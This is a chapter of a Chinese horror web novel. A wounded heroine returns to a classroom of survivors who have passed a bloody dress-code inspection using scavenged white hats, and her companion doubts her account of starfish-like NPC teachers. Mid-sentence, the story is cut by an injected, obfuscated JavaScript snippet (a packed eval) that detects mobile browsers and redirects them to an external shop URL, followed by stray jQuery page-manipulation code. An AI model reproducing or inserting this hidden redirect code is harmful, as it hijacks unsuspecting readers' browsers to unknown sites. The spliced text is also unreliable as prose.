陈默泽在地上躺了三分钟。
这三分钟里她的呼吸由急促转为平缓,心跳也慢慢恢复正常的节奏,亢奋的神经不再紧密跳动。
伤口一直没得到处理,逐渐痛得发麻,恍惚间感觉不到痛了。失血越来越多,她的手脚开始发凉,与此同时她大脑里填满的兴奋随身上伤口的血一起流走。
被追杀的兴奋褪去后,疲倦与困顿再度席卷归来。
她再度感到无趣,还很累。身体很累,灵魂也是。
这种感觉就像骑车耗尽了油,泡芙被掏空了奶油。灵魂似乎和血一起流走了,她变成一具空壳,存在失去了意义。
她面朝上空闭上了眼睛。
“班主任”说过学生会的检查人员会从楼梯上来,通过走廊前往各个教室。她现在躺在楼梯和走廊之间的平台上,很大可能会碰到检查人员。
如果碰到,她一定会死。
这不是刚刚结束的追逃游戏,规则可以用来反杀,勇气、智慧和反应力是助力,你有能耐就能逃出生天。
在检查环节,规则是死的,达不到要求就是死。
但她一点不想动。
浑身上下提不起劲,她连累的想法都没有,只是被淹没在这种感受里。
好累,活着好累。
她开始怀念刚刚逃亡时的紧张刺激了。在死亡的压力下,剧烈跳动的心脏、处于激活状态的神经以及肾上腺素催动出的亢奋情绪才让她有活着的感觉。
要不就躺在这里等检查人员来吧,来把她收了吧,刚好她还没见过学生会的人。
她这么决定的下一刻,伍皓的声音在她脑海里突兀响起。
“别忘了答应我的事!”
那一瞬间她真以为是伍皓在和她说话,她立刻抬头去看。
没有看到人,眼前只有空空的平台,她这才意识到是她幻听了,伍皓还在教室里。
那个女人发现她一直不回去会直接来找她吧,这种事伍皓绝对做得出来。找到她之后,伍皓绝对会用平时温柔如水必要时也能寒冷如冰的眼神凌迟自己。
陈默泽说不上来地有点怵伍皓,她把这归咎于原身与伍皓日积月累的相处留下的身体习惯。
啧,麻烦。早知道不答应她了。
陈默泽很随性,但绝不言而无信。上头的时候她将一切抛在脑后,现在冷静下来想起了和伍皓的约定,即使不太情愿,她还是决定留自己一条小命。
慢腾腾从地上爬起,陈默泽向教室走去。也不知道现在教室里是什么情况。
仪容仪表检查的要求是,红衣,红鞋,头戴白帽。
前面两个很好解决,教室里满地的尸体到处都是血,用血把衣服鞋子染红就行。但是白帽……哪里有白帽?
陈默泽和“班主任”走后,伍皓短暂地担心了五秒就不去想她了。
没办法,每次一进副本陈默泽就到处乱跑、胡乱折腾,根本管不住。反正那个“班主任”看起来也敌不过陈默泽,就随她去吧,这次想必也死不了。
倒是这边的情况要伍皓动动脑筋了。
副本有自己的原则。
要求再难也不可能完全没有活路。给出了要求,线索一定在参与者都能接触到的地方。
给自己做了个心理建设,伍皓抬高声音招呼教室里剩下的人一起寻找白帽子。
很快他们在教室后面的柜子里找到了线索。
此前整整一排柜子门都是锁着的,现在到了需要它的环节,它自动解锁,不用钥匙柜门也可以打开了。
里面的线索和大部分人想象的不太一样。固然有白帽的存在,但那些帽子都戴在死人的脖子上。
柜子里是满满的尸骨,没有头。
柜门被胆子大的大叔打开的瞬间,无数人体骨架从柜子里滚了出来。柜子之间是相互连通的,骨头就像是大件衣服被揉吧揉吧塞进了柜子。骨头之间相互挤压,脊骨、肱骨以及大腿骨多有断裂,基本都已不成人形。
柜门打开时尸骨从中滚出来,仿佛顷刻之间倒塌了一座白色的山。
伍皓凑近骨堆看了看,确定没有看到头骨。
她立刻联想到“班主任”拧断人脖子的熟练,这想必是NPC们存放厨余垃圾的地方。
课上他们只有时间吃个头,留下一地无头尸体,下课后等死的人都死完、活的人离开副本,他们就会回到这里大快朵颐。之后,血肉脏器被吃完的骨头就会放在这里。
尸骨没有头自然也戴不牢帽子,白帽子随尸骨的滚落也跟着散落一地。
在其他人被堆成山的尸骨吓到只敢在数步外旁观时,伍皓大步走进尸骨堆,将里面的白帽子一个个捡出来。
好消息,有白帽子能通过检查了!
坏消息,教室里还有三十二个人,帽子只有十六顶。
也就是说,有一半的人会死。
而她还要给陈默泽留一顶。
副本可是很严格的。存在副本里的每一个人都要接受检查,就算陈默泽去了办公室也逃不开。
在捡的过程中不动声色地将一顶帽子卷在手心藏进衣袖,她拿上捡到的帽子回头对教室里的人说,“我们来分帽子吧。据我观察帽子数量是不够的,我有一个想法可以让没有分到帽子的人也通过检查,大家可以听一听。”
推开后门走进教室,伍皓是第一个发现陈默泽回来的人。
她似乎一直关注着后门的情况。当她看见陈默泽推门而入,她立刻迎了上去。
陈默泽离开教室前就被溅了一身血,因此伍皓没看出来她身上又染了新血。
伍皓问,“怎么样,你有受伤吗?”
陈默泽没有立刻回复,走进教室她先是扫视了一圈,发现教室里的人少了不少。仪容仪表检查看来已经结束,现在算上两人这里还活着二十三个人。
他们不再坐在自己被分配的位置上。
短短几十分钟目睹无数次死亡的发生,恐惧与物伤其类的心情让人不由自主地感到冰冷。为了抵御这种由内而外散发的冷,他们抱团坐在一起。陈默泽的回归并未引起他们的注意。
“少了不少人啊。”陈默泽下意识嘀咕一声。
伍皓笑了下,“这次检查容错率很低,一旦发现不符合要求就是瞬间死亡,可没有给你狡辩的空间。话这么说,有机会活下更多人的,可惜有些人不愿意听我的。”
说完,在陈默泽反应过来之前,伍皓将一个柔软的东西套在了她头上。
她头上都是血,有溅到的,有自己流的,湿漉漉又黏腻腻的情况下套上外物让她感觉很不舒适。她伸手想把头上的东西摘下来,手伸到一半就被伍皓阻止了。
伍皓说,“别动,戴好了,这是我给你留的帽子。”
陈默泽懂了。
她再度看向教室里的人,注意到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318874|199014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们的装扮果然十分统一,红衣,红鞋,白色布帽。看过去像是一片蘑菇群,红杆白伞,这么鲜艳一定有毒。
他们的红衣红鞋都是血染的。正好,她现在身上也全是血,加上伍皓给的帽子,三个要求就都符合了。
陈默泽小心地摸了摸帽檐,说,“我头上都是血,这不就把帽子染红了。”
伍皓说,“放心吧不会的。你这顶是副本提供的标准道具,染不红。只有自己折的白帽子才会被血染红,所以只能分给身上没血的人戴。你这个没事,好好戴着就行了。”
陈默泽点了点头往教室里走,走到随便哪个空座位上一屁股坐下。屁股一沾凳子,她的上半身便抽了筋似的瘫软着趴在了课桌上。
她真累了,现在就想趴着睡一觉。
但伍皓不给她这个机会。
伍皓一路从教室后门跟着她走过来,坐在她旁边不忘追问她独自离开后发生的事情。
陈默泽被问得有点烦。她无意隐瞒伍皓,在办公室里的经历本身也没什么可隐瞒的。她只是单纯嫌说话累人,要把一系列事情总结再陈述,真是累人。
想着三言两语把伍皓打发算了,她说,“没什么啊,就是碰到一堆触手长的像面条的海星,我们友好地交流了一下。它们热情地邀请我观赏它们进食的过程,吃饱它们就让我走了。”
这话别人听了只会当她在纯扯淡,但伍皓多了解陈默泽,一听就知道不过是加了些个人风格强烈的修饰,大致内容绝对是真的。
根据对陈默泽的认识,伍皓理解的时候在脑子里自行翻译了一下。
碰到海星,相当不友好地发生了摩擦,看到它们进食,危险但顺利离开。
伍皓问,“教学楼里怎么会有海星,你去的地方不是办公室吗?”
陈默泽说,“对啊,那个班主任还有这里其他的老师都是海星变的。怎么样,我这趟出去还是有收获的吧。”
伍皓顿了下说,“海星?你确定?”
陈默泽说,“这有什么不确定,海星我还能不认识。不就是身体扁扁,五只触手,身上有棘刺的棘皮动物吗。”
她说完空气沉默下来,伍皓没有接话。
她觉得奇怪,歪着头去看伍皓,看见坐在自己身旁的人也正在看自己。
伍皓的表情有些凝重,看向她的目光专注而复杂还隐隐掺杂着担心,好像在试图从她的表情中寻找什么,以此做出某种判断。
在与她对视的下一秒,伍皓收回了目光,语气如常地问,“你是受到精神攻击了吗,出现幻觉了?副本里的NPC都是人,怎么会是海星呢。还是说上个副本的后遗症加重了?早知道这次就不报名,休息几天再进副本了。”
闻言,陈默泽困意顿时散了大半,不敢置信地坐直了身体。
她说的事情经过确实很抽象,她想过伍皓会笑着骂她说话不着调,但没想到伍皓直接认为她出幻觉了。
办公室里的NPC们变成海星可是她亲眼所见,怎么可能是幻觉!
她遭受的是触手追杀不是精神攻击,副本后遗症更是她的托词。
海星是真实存在的,没有幻觉!她精神状态好得很!
对了,她突然想起来,“班主任”在教室里进食的时候有露出肚子上的裂口。
伍皓没经历过海星追杀,但肯定看到“班主任”的奇怪之处了,这可以证明她说的是真的!